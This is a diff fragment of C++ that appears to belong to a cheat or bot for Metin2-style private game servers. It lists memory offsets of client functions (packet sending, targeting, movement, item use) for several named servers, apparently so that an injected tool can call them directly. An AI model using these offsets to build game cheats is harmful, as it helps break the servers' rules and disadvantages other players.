pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x123e00; // [100 ] [2 / 2] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x123e70; // [75 ] [3 / 4] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x123f00; // [100 ] [3 / 3] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x123ff0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x127b10; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x127b80; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x127cb0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x127d10; // [100 ] [3 / 3] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x124980; // [100 ] [2 / 2] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x125020; // [100 ] [2 / 2] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x125100; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x128440; // [100 ] [2 / 2] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x1284d0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x1285c0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x1251e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x1252f0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x198830; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x118d50; // [100 ] [9 / 9] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xc0d60; // [100 ] [1 / 1] + //pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xa3370; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xdcc90; // [100 ] [2 / 2] + //pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + (null); + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xc2e30; // [50 ] [2 / 4] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xc3000; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x5c4e0; // [100 ] [2 / 2] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0xf40c0; // [100 ] [3 / 3] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xc32a0; // [100 ] [2 / 2] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xc5fa0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xc37f0; // [100 ] [2 / 2] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xc3820; // [100 ] [2 / 2] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xc61e0; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xc3b90; // [100 ] [11 / 11] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xc7210; // [100 ] [2 / 2] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xc6680; // [100 ] [3 / 3] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xc6b70; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xc6bb0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1397e0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x15fd60; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x171230; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1d9ee0; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x15f260; // [100 ] [2 / 2] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0xabbf0; // [100 ] [1 / 1] + //pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0xac180; // [33 ] [1 / 3] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0xac560; // [66 ] [2 / 3] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0xa6170; // [100 ] [1 / 1] + break; + } + case ServerName::TASTRIA2: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x285e30; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x1771e0; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x285a40; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x158bb0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x159c30; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x159df0; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x159d60; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x1646c0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x15a2d0; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x15a4b0; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x1646d0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x164060; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x164780; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x161a80; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x15cec0; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x27b1d0; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x2890d0; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x177330; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x212720; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1a4520; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1a3c90; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x2128f0; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x212960; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x212b70; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x212bb0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x212c30; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x2a0cc0; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x16edd0; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x16f520; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x17ba90; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x182ae0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x18b6c0; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1a3a80; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1a3d90; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x1b0b80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x1b0c90; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1b0e00; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1b0f70; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x1a4040; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x1b1440; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x1b1570; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x1b15f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x1b1680; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x1b1770; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x1b4eb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x1b4f20; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x1b5060; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x1b50c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x1b20a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + 0x1b24a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x1b24e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x1b25c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x1b5510; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x1b5590; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x1b5660; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x1b2610; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x1b2710; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1b2780; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1a48a0; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x1b8e50; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1cb730; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1C0BF0; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1c0c50; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1c0e40; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x1c0e50; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x1c0f10; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x1c10d0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1c4f80; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1c15a0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1c15d0; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1c1990; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x1c5910; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x1c4b30; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x24b510; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x1c5150; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x239f20; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x21b670; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x21dda0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x2d86c0; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x2308d0; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x163da0; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x164820; // [100 ] [1 / 1] + pCResourceReload = Globals::hEntryBaseAddress + 0x21D9B0; + pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x1C0A20; + pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x1C0990; + pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x1B51C0; + break; + } + case ServerName::WOM: + { + + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x364c70; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x25FD40; // [100 ] [1 / 1] + //pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + (null); + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x250950; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x251a10; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x251b00; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x251aa0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x25d4d0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x25cc40; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x252170; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x25d4e0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x25cf10; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x25d570; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x25b770; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x359F50; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x369d50; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x25FDD0; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x3278e0; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x2d7c40; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x2d6c10; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x327a20; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x327aa0; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x327ce0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x327d20; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x327d70; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x377310; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x2c3da0; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x2c4500; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x265ab0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x2a2650; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x26f170; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x2d6a20; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x2D6D00; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x2e41b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x2e4330; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x2e4630; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x2e4790; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x2d6fb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x2e49b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x2e4a70; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x2e4b50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x2e4c40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x2e4d30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x2e88d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x2e8950; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x2e8a80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x2e8ae0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x2e5610; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x2e5ae0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x2e5bc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x2e8f30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x2e8fb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x2e90b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x2e5cb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x2e5dc0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x2e5e30; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x2d8990; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x2792c0; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x2880e0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x27D460; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x27d4a0; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x27d510; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x27d520; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x27D5E0; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x27d7e0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x281750; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x27dc80; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x27dca0; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x280df0; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x27e080; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x281f10; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x281380; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x2817d0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x2818c0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x32d730; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x31e1d0; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x323520; // [100 ] [1 / 1]0x32DC70 + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x3b0420; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x3294c0; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x251f00; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x25d620; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x254b30; // [100 ] [1 / 1] + break; + } + case ServerName::ARATHAR: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x24f25f0; // [100 ] [4 / 4] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x234ad00; // [75 ] [3 / 4] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x2323e00; // [100 ] [2 / 2] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x2323e40; // [100 ] [5 / 5] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x2322c50; // [100 ] [3 / 3] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x2322d00; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x2322be0; // [100 ] [7 / 7] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x2344fe0; // [100 ] [9 / 9] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x2323bc0; // [100 ] [9 / 9] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x2323800; // [100 ] [14 / 14] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x2344f20; // [100 ] [25 / 25] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x23447e0; // [100 ] [10 / 10] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x2344ea0; // [100 ] [4 / 4] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x23393c0; // [100 ] [5 / 5] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x24e6bd0; // [100 ] [8 / 8] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x24f7d50; // [100 ] [11 / 11] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x23490c0; // [100 ] [4 / 4] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x249c5b0; // [100 ] [6 / 6] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x242d900; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x242cce0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x249c790; // [100 ] [3 / 3] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x249c800; // [100 ] [6 / 6] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x249ca50; // [100 ] [6 / 6] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x249cad0; // [100 ] [86 / 86] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x2509670; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x2406ab0; // [100 ] [4 / 4] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x2406380; // [100 ] [20 / 20] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x2357e10; // [52 ] [30 / 57] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x23bd1a0; // [66 ] [2 / 3] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x2364e90; // [75 ] [3 / 4] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x242ce60; // [100 ] [3 / 3] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x242d080; // [100 ] [2 / 2] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x2437930; // [100 ] [2 / 2] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x2436fb0; // [100 ] [4 / 4] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x2437010; // [100 ] [11 / 11] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x24391b0; // [100 ] [8 / 8] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x242c860; // [100 ] [3 / 3] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x24374a0; // [100 ] [4 / 4] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x2437340; // [100 ] [4 / 4] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x24372c0; // [100 ] [4 / 4] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x24387c0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x2438820; // [100 ] [3 / 3] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x2449770; // [100 ] [3 / 3] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x2449860; // [100 ] [4 / 4] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x2449a10; // [100 ] [4 / 4] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x2449530; // [100 ] [5 / 5] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x2437760; // [100 ] [3 / 3] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x2437560; // [100 ] [4 / 4] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x24379b0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x2449c00; // [100 ] [2 / 2] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x2449ba0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x2449d30; // [100 ] [2 / 2] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x2436af0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x2437170; // [100 ] [6 / 6] + 